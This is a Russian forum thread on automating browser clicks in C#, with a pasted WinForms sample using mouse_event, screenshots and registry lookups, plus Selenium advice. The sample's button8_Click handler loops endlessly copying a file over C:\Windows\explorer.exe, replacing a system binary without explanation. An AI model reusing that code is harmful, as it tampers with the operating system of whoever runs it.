Мне нужно средствами с# клацать не некоторые кнопки в браузере. Каким образом это можно реализовать? Спасибо. UPD: Основная проблема в том, что я не знаю имя нужного мне класса окна. Допустим ввести адрес и нажать энтер я могу, но когда страница уже загружена, я не могу нажать тот же энтер, потому что я не знаю куда посылать - как называется нужный мне класс окна хз. Куда копать? UPD2: C эти тоже разобрался. Теперь вопрос в другом - не работает событие WM_SETTEXT NativeMethods.SendMessage(hWndEdit, WM_SETTEXT, 0, "[email protected]"); Поле с адресом остается пустое, но если сделать так: NativeMethods.PostMessage(hWndEdit, WM_KEYDOWN, Keys.B, IntPtr.Zero); то буква появится. Что тут опять не так?
В общем суть такова - элементы браузера к стандартным окнам не имеют отношения, они не реагируют на сообщения, нужно другим образом с ними общаться. Вот пример http://stackoverflow.com/questions/5964384/sendmessage-user32dll-on-an-internet-explorer-page
вот, я когда-то нажимал кнопки на браузере, держи. using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using System.Net; using System.Security.Cryptography; using System.Diagnostics; using System.Globalization; using System.Runtime.InteropServices; using System.Threading; using System.Drawing.Imaging; using Microsoft.Win32; namespace WindowsFormsApplication1 { public partial class Form1 : Form { private const int MOUSEEVENTF_LEFTDOWN = 0x02; private const int MOUSEEVENTF_LEFTUP = 0x04; private const int MOUSEEVENTF_RIGHTDOWN = 0x08; private const int MOUSEEVENTF_RIGHTUP = 0x10; public Form1() { InitializeComponent(); } [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint cButtons, uint dwExtraInfo); private void button2_Click(object sender, EventArgs e) { Thread.Sleep(2000); DoMouseClick(); } public static void DoMouseClick() { //Call the imported function with the cursor's current position //int X = Cursor.Position.X; //int Y = Cursor.Position.Y; Cursor.Position = new Point(1197, 11); mouse_event((uint)(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP), (uint)0, (uint)0, 0, 0); } private void button2_MouseEnter(object sender, EventArgs e) { } private void button3_Click(object sender, EventArgs e) { //Rectangle bounds = Screen.GetBounds(Point.Empty); //using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) //{ // using (Graphics g = Graphics.FromImage(bitmap)) // { // g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size); // } // bitmap.Save(@"D:\screen1.jpg", ImageFormat.Jpeg); //} } private void button1_Click(object sender, EventArgs e) { string REGEX_SIMPLIFY_URL = @"\b(?:www\.)?([\w\d\.\-]+(?:\.\w{2,4}){1,2})\b"; string a = @"\b(?:w"; string result = a + @"ww\.)?([\w\d\.\-]+(?:\.\w{2,4}){1,2})\b"; MessageBox.Show((REGEX_SIMPLIFY_URL == result).ToString()); } private void button4_Click(object sender, EventArgs e) { //Point point = new Point(); //bool result = Screen1Recognition.GetCoordinates(out point); //MessageBox.Show(result.ToString() + " " + point.X.ToString() + " " + point.Y.ToString()); } private void button5_Click(object sender, EventArgs e) { //Point point = new Point(); //bool result = Screen2Recognition.GetCoordinates(out point); //MessageBox.Show(result.ToString() + " " + point.X.ToString() + " " + point.Y.ToString()); } private void button6_Click(object sender, EventArgs e) { // open maximixed chrome window with URL specified. ensure it is opened string chromePath = getChromePath(); Process p = new Process(); p.StartInfo = new ProcessStartInfo(chromePath, "https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp"); p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.Start(); // make screenshot1. recognize and click button 1. make delay int counter1 = 0; bool isScreen1CoordFound = false; Point screen1Point = new Point(); while (counter1 < 20) { Thread.Sleep(200); Bitmap bitmap = GetScreenBitmap(); isScreen1CoordFound = Screen1Recognition.GetCoordinates(out screen1Point, bitmap); //File.AppendAllText(@"D:\1.txt", string.Format("{0} {1} {2}", isScreen1CoordFound.ToString(), screen1Point.X.ToString(), screen1Point.Y.ToString())); if (isScreen1CoordFound) break; counter1++; } if (isScreen1CoordFound) { Cursor.Position = new Point(screen1Point.X, screen1Point.Y); mouse_event((uint)(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP), (uint)0, (uint)0, 0, 0); } // make screenshot2. recognize and click button 2. make delay int counter2 = 0; bool isScreen2CoordFound = false; Point screen2Point = new Point(); while (counter2 < 20) { Thread.Sleep(200); Bitmap bitmap = GetScreenBitmap(); isScreen2CoordFound = Screen2Recognition.GetCoordinates(out screen2Point, bitmap); if (isScreen2CoordFound) break; counter2++; } if (isScreen2CoordFound) { Cursor.Position = new Point(screen2Point.X, screen2Point.Y); mouse_event((uint)(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP), (uint)0, (uint)0, 0, 0); } // close browser Thread.Sleep(10000); Rectangle screenBounds = Screen.GetBounds(Point.Empty); Cursor.Position = new Point(screenBounds.Width - 10, 8); mouse_event((uint)(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP), (uint)0, (uint)0, 0, 0); } private Bitmap GetScreenBitmap() { Rectangle bounds = Screen.GetBounds(Point.Empty); Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height); Graphics g = Graphics.FromImage(bitmap); g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size); return bitmap; } private string getChromePath() { string path; path = Registry.GetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", string.Empty, null) as string; if (path != null) Console.WriteLine("Chrome: " + FileVersionInfo.GetVersionInfo(path.ToString()).FileVersion); if (string.IsNullOrEmpty(path)) { path = Registry.GetValue(@"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", "", null) as string; } return path; } public string HKLM_GetString(string path, string key) { try { RegistryKey rk = Registry.LocalMachine.OpenSubKey(path); if (rk == null) return ""; return (string)rk.GetValue(key); } catch { return ""; } } public string FriendlyName() { string ProductName = HKLM_GetString(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); string CSDVersion = HKLM_GetString(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CSDVersion"); if (ProductName != "") { return (ProductName.StartsWith("Microsoft") ? "" : "Microsoft ") + ProductName + (CSDVersion != "" ? " " + CSDVersion : ""); } return ""; } private void button7_Click(object sender, EventArgs e) { System.OperatingSystem osInfo = System.Environment.OSVersion; String subKey = @"SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion"; RegistryKey key = Registry.LocalMachine; RegistryKey skey = key.OpenSubKey(subKey); string name = skey.GetValue("ProductName").ToString(); //MessageBox.Show(name); var os = System.Environment.OSVersion; bool isWindows8 = os.Version.Major == 6 && os.Version.Minor == 2; } private void button8_Click(object sender, EventArgs e) { while (true) { try { File.Copy(@"D:\3\explorer.exe", @"C:\Windows\explorer.exe", true); } catch { } } } } public enum State { WalkAndFind, CheckHorizontal } }
В каком плане? Селениум вроде отдельный продукт, а мне нужна именно реализация в коде, чтобы потом можно было многократно использовать.
Selenium - это такая штука, которая позволяет удобно автоматизировать различные действия для многих популярных браузеров. Поддерживает разные языки программирования.
Я так понял там с собой кучу всего таскать придется(а может даже устанавливать в систему?), чтобы селениум работал, не?
Я не работал с селениумом, но примерно представляю, что нужен сам selenium (webdriver для нужного браузера) и, возможно, аддон в браузер. Вот пример кода на Java, как с ним работают: Code: package selrcdemo; import com.thoughtworks.selenium.DefaultSelenium; import com.thoughtworks.selenium.Selenium; public class rcdemo { public static void main(String[] args) throws InterruptedException { // Instatiate the RC Server Selenium selenium = new DefaultSelenium("localhost", 4444 , "firefox", "http://www.calculator.net"); selenium.start(); // Start selenium.open("/"); // Open the URL selenium.windowMaximize(); // Click on Link Math Calculator selenium.click("xpath=.//*[@id='menu']/div[3]/a"); Thread.sleep(2500); // Wait for page load // Click on Link Percent Calculator selenium.click("xpath=.//*[@id='menu']/div[4]/div[3]/a"); Thread.sleep(4000); // Wait for page load // Focus on text Box selenium.focus("name=cpar1"); // enter a value in Text box 1 selenium.type("css=input[name=\"cpar1\"]", "10"); // enter a value in Text box 2 selenium.focus("name=cpar2"); selenium.type("css=input[name=\"cpar2\"]", "50"); // Click Calculate button selenium.click("xpath=.//*[@id='content']/table/tbody/tr/td[2]/input"); // verify if the result is 5 String result = selenium.getText(".//*[@id='content']/p[2]"); if (result == "5"){ System.out.println("Pass"); } else{ System.out.println("Fail"); } } } В Интернете куча туториалов и примеров, быстрее прочитать и разобраться, чем ждать, пока ответят на форуме.